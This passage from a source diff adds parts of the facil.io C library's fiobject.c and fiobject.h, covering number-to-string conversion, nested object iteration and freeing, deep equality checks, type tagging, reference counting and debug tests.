+        i++;
+      }
+      /* make sure the Hex representation doesn't appear signed. */
+      if (i && (n & 0x8000000000000000)) {
+        dest[len++] = '0';
+        dest[len++] = '0';
+      }
+      /* write the damn thing */
+      while (i < 8) {
+        uint8_t tmp = (n & 0xF000000000000000) >> 60;
+        dest[len++] = notation[tmp];
+        tmp = (n & 0x0F00000000000000) >> 56;
+        dest[len++] = notation[tmp];
+        i++;
+        n = n << 8;
+      }
+      dest[len] = 0;
+      return len;
+    }
+  case 3: /* fallthrough */
+  case 4: /* fallthrough */
+  case 5: /* fallthrough */
+  case 6: /* fallthrough */
+  case 7: /* fallthrough */
+  case 9: /* fallthrough */
+    /* rare bases */
+    if (num < 0) {
+      dest[len++] = '-';
+      num = 0 - num;
+    }
+    uint64_t l = 0;
+    while (num) {
+      uint64_t t = num / base;
+      buf[l++] = '0' + (num - (t * base));
+      num = t;
+    }
+    while (l) {
+      --l;
+      dest[len++] = buf[l];
+    }
+    dest[len] = 0;
+    return len;
+
+  default:
+    break;
+  }
+  /* Base 10, the default base */
+
+  if (num < 0) {
+    dest[len++] = '-';
+    num = 0 - num;
+  }
+  uint64_t l = 0;
+  while (num) {
+    uint64_t t = num / 10;
+    buf[l++] = '0' + (num - (t * 10));
+    num = t;
+  }
+  while (l) {
+    --l;
+    dest[len++] = buf[l];
+  }
+  dest[len] = 0;
+  return len;
+
+zero:
+  switch (base) {
+  case 1: /* fallthrough */
+  case 2:
+    dest[len++] = '0';
+    dest[len++] = 'b';
+    /* fallthrough */
+  case 16:
+    dest[len++] = '0';
+    dest[len++] = 'x';
+    dest[len++] = '0';
+  }
+  dest[len++] = '0';
+  dest[len] = 0;
+  return len;
+}
+
+/**
+ * A helper function that converts between a double to a string.
+ *
+ * No overflow guard is provided, make sure there's at least 130 bytes
+ * available (for base 2).
+ *
+ * Supports base 2, base 10 and base 16. An unsupported base will silently
+ * default to base 10. Prefixes aren't added (i.e., no "0x" or "0b" at the
+ * beginning of the string).
+ *
+ * Returns the number of bytes actually written (excluding the NUL
+ * terminator).
+ */
+#pragma weak fio_ftoa
+size_t __attribute__((weak)) fio_ftoa(char *dest, double num, uint8_t base) {
+  if (base == 2 || base == 16) {
+    /* handle the binary / Hex representation the same as if it were an
+     * int64_t
+     */
+    int64_t *i = (void *)&num;
+    return fio_ltoa(dest, *i, base);
+  }
+
+  size_t written = sprintf(dest, "%g", num);
+  uint8_t need_zero = 1;
+  char *start = dest;
+  while (*start) {
+    if (*start == ',') // locale issues?
+      *start = '.';
+    if (*start == '.' || *start == 'e') {
+      need_zero = 0;
+      break;
+    }
+    start++;
+  }
+  if (need_zero) {
+    dest[written++] = '.';
+    dest[written++] = '0';
+  }
+  return written;
+}
+
+#endif
+/* *****************************************************************************
+the `fiobj_each2` function
+***************************************************************************** */
+
+struct task_packet_s {
+  int (*task)(FIOBJ obj, void *arg);
+  void *arg;
+  fiobj_stack_s *stack;
+  FIOBJ next;
+  uintptr_t counter;
+  uint8_t stop;
+  uint8_t incomplete;
+};
+
+static int fiobj_task_wrapper(FIOBJ o, void *p_) {
+  struct task_packet_s *p = p_;
+  ++p->counter;
+  int ret = p->task(o, p->arg);
+  if (ret == -1) {
+    p->stop = 1;
+    return -1;
+  }
+  if (FIOBJ_IS_ALLOCATED(o) && FIOBJECT2VTBL(o)->each) {
+    p->incomplete = 1;
+    p->next = o;
+    return -1;
+  }
+  return 0;
+}
+/**
+ * Single layer iteration using a callback for each nested fio object.
+ *
+ * Accepts any `FIOBJ ` type but only collections (Arrays and Hashes) are
+ * processed. The container itself (the Array or the Hash) is **not** processed
+ * (unlike `fiobj_each2`).
+ *
+ * The callback task function must accept an object and an opaque user pointer.
+ *
+ * Hash objects pass along a `FIOBJ_T_COUPLET` object, containing
+ * references for both the key and the object. Keys shouldn't be altered once
+ * placed as a key (or the Hash will break). Collections (Arrays / Hashes) can't
+ * be used as keeys.
+ *
+ * If the callback returns -1, the loop is broken. Any other value is ignored.
+ *
+ * Returns the "stop" position, i.e., the number of items processed + the
+ * starting point.
+ */
+size_t fiobj_each2(FIOBJ o, int (*task)(FIOBJ obj, void *arg), void *arg) {
+  if (!o || !FIOBJ_IS_ALLOCATED(o) || (FIOBJECT2VTBL(o)->each == NULL)) {
+    task(o, arg);
+    return 1;
+  }
+  /* run task for root object */
+  if (task(o, arg) == -1)
+    return 1;
+  uintptr_t pos = 0;
+  fiobj_stack_s stack = FIO_ARY_INIT;
+  struct task_packet_s packet = {
+      .task = task,
+      .arg = arg,
+      .stack = &stack,
+      .counter = 1,
+  };
+  do {
+    if (!pos)
+      packet.next = 0;
+    packet.incomplete = 0;
+    pos = FIOBJECT2VTBL(o)->each(o, pos, fiobj_task_wrapper, &packet);
+    if (packet.stop)
+      goto finish;
+    if (packet.incomplete) {
+      fiobj_stack_push(&stack, pos);
+      fiobj_stack_push(&stack, o);
+    }
+
+    if (packet.next) {
+      fiobj_stack_push(&stack, (FIOBJ)0);
+      fiobj_stack_push(&stack, packet.next);
+    }
+    o = FIOBJ_INVALID;
+    fiobj_stack_pop(&stack, &o);
+    fiobj_stack_pop(&stack, &pos);
+  } while (o);
+finish:
+  fiobj_stack_free(&stack);
+  return packet.counter;
+}
+
+/* *****************************************************************************
+Free complex objects (objects with nesting)
+***************************************************************************** */
+
+static void fiobj_dealloc_task(FIOBJ o, void *stack_) {
+  // if (!o)
+  //   fprintf(stderr, "* WARN: freeing a NULL no-object\n");
+  // else
+  //   fprintf(stderr, "* freeing object %s\n", fiobj_obj2cstr(o).data);
+  if (!o || !FIOBJ_IS_ALLOCATED(o))
+    return;
+  if (OBJREF_REM(o))
+    return;
+  if (!FIOBJECT2VTBL(o)->each || !FIOBJECT2VTBL(o)->count(o)) {
+    FIOBJECT2VTBL(o)->dealloc(o, NULL, NULL);
+    return;
+  }
+  fiobj_stack_s *s = stack_;
+  fiobj_stack_push(s, o);
+}
+/**
+ * Decreases an object's reference count, releasing memory and
+ * resources.
+ *
+ * This function affects nested objects, meaning that when an Array or
+ * a Hash object is passed along, it's children (nested objects) are
+ * also freed.
+ */
+void fiobj_free_complex_object(FIOBJ o) {
+  fiobj_stack_s stack = FIO_ARY_INIT;
+  do {
+    FIOBJECT2VTBL(o)->dealloc(o, fiobj_dealloc_task, &stack);
+  } while (!fiobj_stack_pop(&stack, &o));
+  fiobj_stack_free(&stack);
+}
+
+/* *****************************************************************************
+Is Equal?
+***************************************************************************** */
+#include <fiobj_hash.h>
+
+static inline int fiobj_iseq_simple(const FIOBJ o, const FIOBJ o2) {
+  if (o == o2)
+    return 1;
+  if (!o || !o2)
+    return 0; /* they should have compared equal before. */
+  if (!FIOBJ_IS_ALLOCATED(o) || !FIOBJ_IS_ALLOCATED(o2))
+    return 0; /* they should have compared equal before. */
+  if (FIOBJECT2HEAD(o)->type != FIOBJECT2HEAD(o2)->type)
+    return 0; /* non-type equality is a barriar to equality. */
+  if (!FIOBJECT2VTBL(o)->is_eq(o, o2))
+    return 0;
+  return 1;
+}
+
+static int fiobj_iseq____internal_complex__task(FIOBJ o, void *ary_) {
+  fiobj_stack_s *ary = ary_;
+  fiobj_stack_push(ary, o);
+  if (fiobj_hash_key_in_loop())
+    fiobj_stack_push(ary, fiobj_hash_key_in_loop());
+  return 0;
+}
+
+/** used internally for complext nested tests (Array / Hash types) */
+int fiobj_iseq____internal_complex__(FIOBJ o, FIOBJ o2) {
+  // if (FIOBJECT2VTBL(o)->each && FIOBJECT2VTBL(o)->count(o))
+  //   return int fiobj_iseq____internal_complex__(const FIOBJ o, const FIOBJ
+  //   o2);
+  fiobj_stack_s left = FIO_ARY_INIT, right = FIO_ARY_INIT, queue = FIO_ARY_INIT;
+  do {
+    fiobj_each1(o, 0, fiobj_iseq____internal_complex__task, &left);
+    fiobj_each1(o2, 0, fiobj_iseq____internal_complex__task, &right);
+    while (fiobj_stack_count(&left)) {
+      o = FIOBJ_INVALID;
+      o2 = FIOBJ_INVALID;
+      fiobj_stack_pop(&left, &o);
+      fiobj_stack_pop(&right, &o2);
+      if (!fiobj_iseq_simple(o, o2))
+        goto unequal;
+      if (FIOBJ_IS_ALLOCATED(o) && FIOBJECT2VTBL(o)->each &&
+          FIOBJECT2VTBL(o)->count(o)) {
+        fiobj_stack_push(&queue, o);
+        fiobj_stack_push(&queue, o2);
+      }
+    }
+    o = FIOBJ_INVALID;
+    o2 = FIOBJ_INVALID;
+    fiobj_stack_pop(&queue, &o2);
+    fiobj_stack_pop(&queue, &o);
+    if (!fiobj_iseq_simple(o, o2))
+      goto unequal;
+  } while (o);
+  fiobj_stack_free(&left);
+  fiobj_stack_free(&right);
+  fiobj_stack_free(&queue);
+  return 1;
+unequal:
+  fiobj_stack_free(&left);
+  fiobj_stack_free(&right);
+  fiobj_stack_free(&queue);
+  return 0;
+}
+
+/* *****************************************************************************
+Defaults / NOOPs
+***************************************************************************** */
+
+void fiobject___noop_dealloc(FIOBJ o, void (*task)(FIOBJ, void *), void *arg) {
+  (void)o;
+  (void)task;
+  (void)arg;
+}
+void fiobject___simple_dealloc(FIOBJ o, void (*task)(FIOBJ, void *),
+                               void *arg) {
+  fio_free(FIOBJ2PTR(o));
+  (void)task;
+  (void)arg;
+}
+
+uintptr_t fiobject___noop_count(const FIOBJ o) {
+  (void)o;
+  return 0;
+}
+size_t fiobject___noop_is_eq(const FIOBJ o1, const FIOBJ o2) {
+  (void)o1;
+  (void)o2;
+  return 0;
+}
+
+fio_str_info_s fiobject___noop_to_str(const FIOBJ o) {
+  (void)o;
+  return (fio_str_info_s){.len = 0, .data = NULL};
+}
+intptr_t fiobject___noop_to_i(const FIOBJ o) {
+  (void)o;
+  return 0;
+}
+double fiobject___noop_to_f(const FIOBJ o) {
+  (void)o;
+  return 0;
+}
+
+#if DEBUG
+
+#include <fiobj_ary.h>
+#include <fiobj_numbers.h>
+
+static int fiobject_test_task(FIOBJ o, void *arg) {
+  ++((uintptr_t *)arg)[0];
+  if (!o)
+    fprintf(stderr, "* WARN: counting a NULL no-object\n");
+  // else
+  //   fprintf(stderr, "* counting object %s\n", fiobj_obj2cstr(o).data);
+  return 0;
+  (void)o;
+}
+
+void fiobj_test_core(void) {
+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, __VA_ARGS__);                                              \
+    fprintf(stderr, "Testing failed.\n");                                      \
+    exit(-1);                                                                  \
+  }
+  fprintf(stderr, "=== Testing Primitives\n");
+  FIOBJ o = fiobj_null();
+  TEST_ASSERT(o == (FIOBJ)FIOBJ_T_NULL, "fiobj_null isn't NULL!\n");
+  TEST_ASSERT(FIOBJ_TYPE(0) == FIOBJ_T_NULL, "NULL isn't NULL!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(0, FIOBJ_T_NULL), "NULL isn't NULL! (2)\n");
+  TEST_ASSERT(!FIOBJ_IS_ALLOCATED(fiobj_null()),
+              "fiobj_null claims to be allocated!\n");
+  TEST_ASSERT(!FIOBJ_IS_ALLOCATED(fiobj_true()),
+              "fiobj_true claims to be allocated!\n");
+  TEST_ASSERT(!FIOBJ_IS_ALLOCATED(fiobj_false()),
+              "fiobj_false claims to be allocated!\n");
+  TEST_ASSERT(FIOBJ_TYPE(fiobj_true()) == FIOBJ_T_TRUE,
+              "fiobj_true isn't FIOBJ_T_TRUE!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(fiobj_true(), FIOBJ_T_TRUE),
+              "fiobj_true isn't FIOBJ_T_TRUE! (2)\n");
+  TEST_ASSERT(FIOBJ_TYPE(fiobj_false()) == FIOBJ_T_FALSE,
+              "fiobj_false isn't FIOBJ_T_TRUE!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(fiobj_false(), FIOBJ_T_FALSE),
+              "fiobj_false isn't FIOBJ_T_TRUE! (2)\n");
+  fiobj_free(o); /* testing for crash*/
+  fprintf(stderr, "* passed.\n");
+  fprintf(stderr, "=== Testing fioj_each2\n");
+  o = fiobj_ary_new2(4);
+  FIOBJ tmp = fiobj_ary_new();
+  fiobj_ary_push(o, tmp);
+  fiobj_ary_push(o, fiobj_true());
+  fiobj_ary_push(o, fiobj_null());
+  fiobj_ary_push(o, fiobj_num_new(10));
+  fiobj_ary_push(tmp, fiobj_num_new(13));
+  fiobj_ary_push(tmp, fiobj_hash_new());
+  FIOBJ key = fiobj_str_new("my key", 6);
+  fiobj_hash_set(fiobj_ary_entry(tmp, -1), key, fiobj_true());
+  fiobj_free(key);
+  /* we have root array + 4 children (w/ array) + 2 children (w/ hash) + 1 */
+  uintptr_t count = 0;
+  size_t each_ret = 0;
+  TEST_ASSERT(fiobj_each2(o, fiobject_test_task, (void *)&count) == 8,
+              "fiobj_each1 didn't count everything... (%d != %d)", (int)count,
+              (int)each_ret);
+  TEST_ASSERT(count == 8, "Something went wrong with the counter task... (%d)",
+              (int)count)
+  fprintf(stderr, "* passed.\n");
+  fprintf(stderr, "=== Testing fioj_iseq with nested items\n");
+  FIOBJ o2 = fiobj_ary_new2(4);
+  tmp = fiobj_ary_new();
+  fiobj_ary_push(o2, tmp);
+  fiobj_ary_push(o2, fiobj_true());
+  fiobj_ary_push(o2, fiobj_null());
+  fiobj_ary_push(o2, fiobj_num_new(10));
+  fiobj_ary_push(tmp, fiobj_num_new(13));
+  fiobj_ary_push(tmp, fiobj_hash_new());
+  key = fiobj_str_new("my key", 6);
+  fiobj_hash_set(fiobj_ary_entry(tmp, -1), key, fiobj_true());
+  fiobj_free(key);
+  TEST_ASSERT(!fiobj_iseq(o, FIOBJ_INVALID),
+              "Array and FIOBJ_INVALID can't be equal!");
+  TEST_ASSERT(!fiobj_iseq(o, fiobj_null()),
+              "Array and fiobj_null can't be equal!");
+  TEST_ASSERT(fiobj_iseq(o, o2), "Arrays aren't euqal!");
+  fiobj_free(o);
+  fiobj_free(o2);
+  TEST_ASSERT(fiobj_iseq(fiobj_null(), fiobj_null()),
+              "fiobj_null() not equal to self!");
+  TEST_ASSERT(fiobj_iseq(fiobj_false(), fiobj_false()),
+              "fiobj_false() not equal to self!");
+  TEST_ASSERT(fiobj_iseq(fiobj_true(), fiobj_true()),
+              "fiobj_true() not equal to self!");
+  TEST_ASSERT(!fiobj_iseq(fiobj_null(), fiobj_false()),
+              "fiobj_null eqal to fiobj_false!");
+  TEST_ASSERT(!fiobj_iseq(fiobj_null(), fiobj_true()),
+              "fiobj_null eqal to fiobj_true!");
+  fprintf(stderr, "* passed.\n");
+}
+
+#endif

facil.io/lib/facil/fiobj/fiobject.h

@@ -0,0 +1,652 @@
+#ifndef H_FIOBJECT_H
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+/**
+This facil.io core library provides wrappers around complex and (or) dynamic
+types, abstracting some complexity and making dynamic type related tasks easier.
+*/
+#define H_FIOBJECT_H
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <stdarg.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <limits.h>
+#include <stdarg.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <fio_siphash.h>
+
+#include <fio.h>
+
+#if !defined(__GNUC__) && !defined(__clang__) && !defined(FIO_GNUC_BYPASS)
+#define __attribute__(...)
+#define __has_include(...) 0
+#define __has_builtin(...) 0
+#define FIO_GNUC_BYPASS 1
+#elif !defined(__clang__) && !defined(__has_builtin)
+#define __has_builtin(...) 0
+#define FIO_GNUC_BYPASS 1
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* *****************************************************************************
+Core Types
+***************************************************************************** */
+
+typedef enum __attribute__((packed)) {
+  FIOBJ_T_NUMBER = 0x01,
+  FIOBJ_T_NULL = 0x06,
+  FIOBJ_T_TRUE = 0x16,
+  FIOBJ_T_FALSE = 0x26,
+  FIOBJ_T_FLOAT,
+  FIOBJ_T_STRING,
+  FIOBJ_T_ARRAY,
+  FIOBJ_T_HASH,
+  FIOBJ_T_DATA,
+  FIOBJ_T_UNKNOWN
+} fiobj_type_enum;
+
+typedef uintptr_t FIOBJ;
+
+/** a Macro retriving an object's type. Use FIOBJ_TYPE_IS(x) for testing. */
+#define FIOBJ_TYPE(obj) fiobj_type((obj))
+#define FIOBJ_TYPE_IS(obj, type) fiobj_type_is((obj), (type))
+#define FIOBJ_IS_NULL(obj) (!obj || obj == (FIOBJ)FIOBJ_T_NULL)
+#define FIOBJ_INVALID 0
+
+#ifndef FIO_STR_INFO_TYPE
+/** A String information type, reports information about a C string. */
+typedef struct fio_str_info_s {
+  size_t capa; /* Buffer capacity, if the string is writable. */
+  size_t len;  /* String length. */
+  char *data;  /* String's first byte. */
+} fio_str_info_s;
+#define FIO_STR_INFO_TYPE
+#endif
+
+/* *****************************************************************************
+Primitives
+***************************************************************************** */
+
+#define FIO_INLINE static inline __attribute__((unused))
+
+FIO_INLINE FIOBJ fiobj_null(void) { return (FIOBJ)FIOBJ_T_NULL; }
+FIO_INLINE FIOBJ fiobj_true(void) { return (FIOBJ)FIOBJ_T_TRUE; }
+FIO_INLINE FIOBJ fiobj_false(void) { return (FIOBJ)FIOBJ_T_FALSE; }
+
+/* *****************************************************************************
+Generic Object API
+***************************************************************************** */
+
+/** Returns a C string naming the objects dynamic type. */
+FIO_INLINE const char *fiobj_type_name(const FIOBJ obj);
+
+/**
+ * Heuristic copy with a preference for copy reference(!) to minimize
+ * allocations.
+ *
+ * Always returns the value passed along.
+ */
+FIO_INLINE FIOBJ fiobj_dup(FIOBJ);
+
+/**
+ * Frees the object and any of it's "children".
+ *
+ * This function affects nested objects, meaning that when an Array or
+ * a Hash object is passed along, it's children (nested objects) are
+ * also freed.
+ */
+FIO_INLINE void fiobj_free(FIOBJ);
+
+/**
+ * Tests if an object evaluates as TRUE.
+ *
+ * This is object type specific. For example, empty strings might evaluate as
+ * FALSE, even though they aren't a boolean type.
+ */
+FIO_INLINE int fiobj_is_true(const FIOBJ);
+
+/**
+ * Returns an Object's numerical value.
+ *
+ * If a String is passed to the function, it will be parsed assuming base 10
+ * numerical data.
+ *
+ * Hashes and Arrays return their object count.
+ *
+ * IO objects return the length of their data.
+ *
+ * A type error results in 0.
+ */
+FIO_INLINE intptr_t fiobj_obj2num(const FIOBJ obj);
+
+/**
+ * Returns a Float's value.
+ *
+ * If a String is passed to the function, they will benparsed assuming base 10
+ * numerical data.
+ *
+ * A type error results in 0.
+ */
+FIO_INLINE double fiobj_obj2float(const FIOBJ obj);
+
+/**
+ * Returns a C String (NUL terminated) using the `fio_str_info_s` data type.
+ *
+ * The Sting in binary safe and might contain NUL bytes in the middle as well as
+ * a terminating NUL.
+ *
+ * If a a Number or a Float are passed to the function, they
+ * will be parsed as a *temporary*, thread-safe, String.
+ *
+ * Numbers will be represented in base 10 numerical data.
+ *
+ * A type error results in NULL (i.e. object isn't a String).
+ */
+FIO_INLINE fio_str_info_s fiobj_obj2cstr(const FIOBJ obj);
+
+/**
+ * Calculates an Objects's SipHash value for possible use as a HashMap key.
+ *
+ * The Object MUST answer to the fiobj_obj2cstr, or the result is unusable. In
+ * other words, Hash Objects and Arrays can NOT be used for Hash keys.
+ */
+FIO_INLINE uint64_t fiobj_obj2hash(const FIOBJ o);
+
+/**
+ * Single layer iteration using a callback for each nested fio object.
+ *
+ * Accepts any `FIOBJ ` type but only collections (Arrays and Hashes) are
+ * processed. The container itself (the Array or the Hash) is **not** processed
+ * (unlike `fiobj_each2`).
+ *
+ * The callback task function must accept an object and an opaque user pointer.
+ *
+ * Hash objects pass along only the value object. The keys can be accessed using
+ * the `fiobj_hash_key_in_loop` function.
+ *
+ * If the callback returns -1, the loop is broken. Any other value is ignored.
+ *
+ * Returns the "stop" position, i.e., the number of items processed + the
+ * starting point.
+ */
+FIO_INLINE size_t fiobj_each1(FIOBJ, size_t start_at,
+                              int (*task)(FIOBJ obj, void *arg), void *arg);
+
+/**
+ * Deep iteration using a callback for each fio object, including the parent.
+ *
+ * Accepts any `FIOBJ ` type.
+ *
+ * Collections (Arrays, Hashes) are deeply probed and shouldn't be edited
+ * during an `fiobj_each2` call (or weird things may happen).
+ *
+ * The callback task function must accept an object and an opaque user pointer.
+ *
+ * Hash objects keys are available using the `fiobj_hash_key_in_loop` function.
+ *
+ * Notice that when passing collections to the function, the collection itself
+ * is sent to the callback followed by it's children (if any). This is true also
+ * for nested collections (a nested Hash will be sent first, followed by the
+ * nested Hash's children and then followed by the rest of it's siblings.
+ *
+ * If the callback returns -1, the loop is broken. Any other value is ignored.
+ */
+size_t fiobj_each2(FIOBJ, int (*task)(FIOBJ obj, void *arg), void *arg);
+
+/**
+ * Deeply compare two objects. No hashing or recursive function calls are
+ * involved.
+ *
+ * Uses a similar algorithm to `fiobj_each2`, except adjusted to two objects.
+ *
+ * Hash objects are order sensitive. To be equal, Hash keys must match in order.
+ *
+ * Returns 1 if true and 0 if false.
+ */
+FIO_INLINE int fiobj_iseq(const FIOBJ obj1, const FIOBJ obj2);
+
+/* *****************************************************************************
+Object Type Identification
+***************************************************************************** */
+
+#define FIOBJECT_NUMBER_FLAG 1
+
+#if UINTPTR_MAX < 0xFFFFFFFFFFFFFFFF
+#define FIOBJECT_PRIMITIVE_FLAG 2
+#define FIOBJECT_STRING_FLAG 0
+#define FIOBJECT_HASH_FLAG 0
+#define FIOBJECT_TYPE_MASK (~(uintptr_t)3)
+#else
+#define FIOBJECT_PRIMITIVE_FLAG 6
+#define FIOBJECT_STRING_FLAG 2
+#define FIOBJECT_HASH_FLAG 4
+#define FIOBJECT_TYPE_MASK (~(uintptr_t)7)
+#endif
+
+#define FIOBJ_NUMBER_SIGN_MASK ((~((uintptr_t)0)) >> 1)
+#define FIOBJ_NUMBER_SIGN_BIT (~FIOBJ_NUMBER_SIGN_MASK)
+#define FIOBJ_NUMBER_SIGN_EXCLUDE_BIT (FIOBJ_NUMBER_SIGN_BIT >> 1)
+
+#define FIOBJ_IS_ALLOCATED(o)                                                  \
+  ((o) && ((o)&FIOBJECT_NUMBER_FLAG) == 0 &&                                   \
+   ((o)&FIOBJECT_PRIMITIVE_FLAG) != FIOBJECT_PRIMITIVE_FLAG)
+#define FIOBJ2PTR(o) ((void *)((o)&FIOBJECT_TYPE_MASK))
+
+FIO_INLINE fiobj_type_enum fiobj_type(FIOBJ o) {
+  if (!o)
+    return FIOBJ_T_NULL;
+  if (o & FIOBJECT_NUMBER_FLAG)
+    return FIOBJ_T_NUMBER;
+  if ((o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_PRIMITIVE_FLAG)
+    return (fiobj_type_enum)o;
+  if (FIOBJECT_STRING_FLAG &&
+      (o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_STRING_FLAG)
+    return FIOBJ_T_STRING;
+  if (FIOBJECT_HASH_FLAG && (o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_HASH_FLAG)
+    return FIOBJ_T_HASH;
+  return ((fiobj_type_enum *)FIOBJ2PTR(o))[0];
+}
+
+/**
+ * This is faster than getting the type, since the switch statement is
+ * optimized away (it's calculated during compile time).
+ */
+FIO_INLINE size_t fiobj_type_is(FIOBJ o, fiobj_type_enum type) {
+  switch (type) {
+  case FIOBJ_T_NUMBER:
+    return (o & FIOBJECT_NUMBER_FLAG) ||
+           ((fiobj_type_enum *)o)[0] == FIOBJ_T_NUMBER;
+  case FIOBJ_T_NULL:
+    return !o || o == fiobj_null();
+  case FIOBJ_T_TRUE:
+    return o == fiobj_true();
+  case FIOBJ_T_FALSE:
+    return o == fiobj_false();
+  case FIOBJ_T_STRING:
+    return (FIOBJECT_STRING_FLAG && (o & FIOBJECT_NUMBER_FLAG) == 0 &&
+            (o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_STRING_FLAG) ||
+           (FIOBJECT_STRING_FLAG == 0 && FIOBJ_IS_ALLOCATED(o) &&
+            ((fiobj_type_enum *)FIOBJ2PTR(o))[0] == FIOBJ_T_STRING);
+  case FIOBJ_T_HASH:
+    if (FIOBJECT_HASH_FLAG) {
+      return ((o & FIOBJECT_NUMBER_FLAG) == 0 &&
+              (o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_HASH_FLAG);
+    }
+  /* fallthrough */
+  case FIOBJ_T_FLOAT:
+  case FIOBJ_T_ARRAY:
+  case FIOBJ_T_DATA:
+  case FIOBJ_T_UNKNOWN:
+    return FIOBJ_IS_ALLOCATED(o) &&
+           ((fiobj_type_enum *)FIOBJ2PTR(o))[0] == type;
+  }
+  return FIOBJ_IS_ALLOCATED(o) && ((fiobj_type_enum *)FIOBJ2PTR(o))[0] == type;
+}
+
+/* *****************************************************************************
+Object Header
+***************************************************************************** */
+
+typedef struct {
+  /* a String allowing logging type data. */
+  const char *class_name;
+  /* deallocate root object's memory, perform task for each nested object. */
+  void (*const dealloc)(FIOBJ, void (*task)(FIOBJ, void *), void *);
+  /* return the number of normal nested object */
+  uintptr_t (*const count)(const FIOBJ);
+  /* tests the object for truthfulness. */
+  size_t (*const is_true)(const FIOBJ);
+  /* tests if two objects are equal. */
+  size_t (*const is_eq)(const FIOBJ, const FIOBJ);
+  /* iterates through the normal nested objects (ignore deep nesting) */
+  size_t (*const each)(FIOBJ, size_t start_at, int (*task)(FIOBJ, void *),
+                       void *);
+  /* object value as String */
+  fio_str_info_s (*const to_str)(const FIOBJ);
+  /* object value as Integer */
+  intptr_t (*const to_i)(const FIOBJ);
+  /* object value as Float */
+  double (*const to_f)(const FIOBJ);
+} fiobj_object_vtable_s;
+
+typedef struct {
+  /* must be first */
+  fiobj_type_enum type;
+  /* reference counter */
+  uint32_t ref;
+} fiobj_object_header_s;
+
+extern const fiobj_object_vtable_s FIOBJECT_VTABLE_NUMBER;
+extern const fiobj_object_vtable_s FIOBJECT_VTABLE_FLOAT;
+extern const fiobj_object_vtable_s FIOBJECT_VTABLE_STRING;
+extern const fiobj_object_vtable_s FIOBJECT_VTABLE_ARRAY;
+extern const fiobj_object_vtable_s FIOBJECT_VTABLE_HASH;
+extern const fiobj_object_vtable_s FIOBJECT_VTABLE_DATA;
+
+#define FIOBJECT2VTBL(o) fiobj_type_vtable(o)
+#define FIOBJECT2HEAD(o) (((fiobj_object_header_s *)FIOBJ2PTR((o))))
+
+FIO_INLINE const fiobj_object_vtable_s *fiobj_type_vtable(FIOBJ o) {
+  switch (FIOBJ_TYPE(o)) {
+  case FIOBJ_T_NUMBER:
+    return &FIOBJECT_VTABLE_NUMBER;
+  case FIOBJ_T_FLOAT:
+    return &FIOBJECT_VTABLE_FLOAT;
+  case FIOBJ_T_STRING:
+    return &FIOBJECT_VTABLE_STRING;
+  case FIOBJ_T_ARRAY:
+    return &FIOBJECT_VTABLE_ARRAY;
+  case FIOBJ_T_HASH:
+    return &FIOBJECT_VTABLE_HASH;
+  case FIOBJ_T_DATA:
+    return &FIOBJECT_VTABLE_DATA;
+  case FIOBJ_T_NULL:
+  case FIOBJ_T_TRUE:
+  case FIOBJ_T_FALSE:
+  case FIOBJ_T_UNKNOWN:
+    return NULL;
+  }
+  return NULL;
+}
+
+/* *****************************************************************************
+Atomic reference counting
+***************************************************************************** */
+
+/* C11 Atomics are defined? */
+#if defined(__ATOMIC_RELAXED)
+/** An atomic addition operation */
+#define fiobj_ref_inc(o)                                                       \
+  __atomic_add_fetch(&FIOBJECT2HEAD(o)->ref, 1, __ATOMIC_SEQ_CST)
+/** An atomic subtraction operation */
+#define fiobj_ref_dec(o)                                                       \
+  __atomic_sub_fetch(&FIOBJECT2HEAD(o)->ref, 1, __ATOMIC_SEQ_CST)
+
+/* Select the correct compiler builtin method. */
+#elif defined(__has_builtin) && !FIO_GNUC_BYPASS
+
+#if __has_builtin(__sync_fetch_and_or)
+/** An atomic addition operation */
+#define fiobj_ref_inc(o) __sync_add_and_fetch(&FIOBJECT2HEAD(o)->ref, 1)
+/** An atomic subtraction operation */
+#define fiobj_ref_dec(o) __sync_sub_and_fetch(&FIOBJECT2HEAD(o)->ref, 1)
+
+#else
+#error missing required atomic options.
+#endif /* defined(__has_builtin) */
+
+#elif __GNUC__ > 3
+/** An atomic addition operation */
+#define fiobj_ref_inc(o) __sync_add_and_fetch(&FIOBJECT2HEAD(o)->ref, 1)
+/** An atomic subtraction operation */
+#define fiobj_ref_dec(o) __sync_sub_and_fetch(&FIOBJECT2HEAD(o)->ref, 1)
+
+#else
+#error missing required atomic options.
+#endif
+
+#define OBJREF_ADD(o) fiobj_ref_inc(o)
+#define OBJREF_REM(o) fiobj_ref_dec(o)
+
+/* *****************************************************************************
+Inlined Functions
+***************************************************************************** */
+
+/** Returns a C string naming the objects dynamic type. */
+FIO_INLINE const char *fiobj_type_name(const FIOBJ o) {
+  if (o & FIOBJECT_NUMBER_FLAG)
+    return "Number";
+  if (FIOBJ_IS_ALLOCATED(o))
+    return FIOBJECT2VTBL(o)->class_name;
+  if (!o)
+    return "NULL";
+  return "Primitive";
+}
+
+/** used internally to free objects with nested objects. */
+void fiobj_free_complex_object(FIOBJ o);
+
+/**
+ * Copy by reference(!) - increases an object's (and any nested object's)
+ * reference count.
+ *
+ * Always returns the value passed along.
+ */
+FIO_INLINE FIOBJ fiobj_dup(FIOBJ o) {
+  if (FIOBJ_IS_ALLOCATED(o))
+    OBJREF_ADD(o);
+  return o;
+}
+
+/**
+ * Decreases an object's reference count, releasing memory and
+ * resources.
+ *
+ * This function affects nested objects, meaning that when an Array or
+ * a Hash object is passed along, it's children (nested objects) are
+ * also freed.
+ *
+ * Returns the number of existing references or zero if memory was released.
+ */
+FIO_INLINE void fiobj_free(FIOBJ o) {
+  if (!FIOBJ_IS_ALLOCATED(o))
+    return;
+  if (fiobj_ref_dec(o))
+    return;
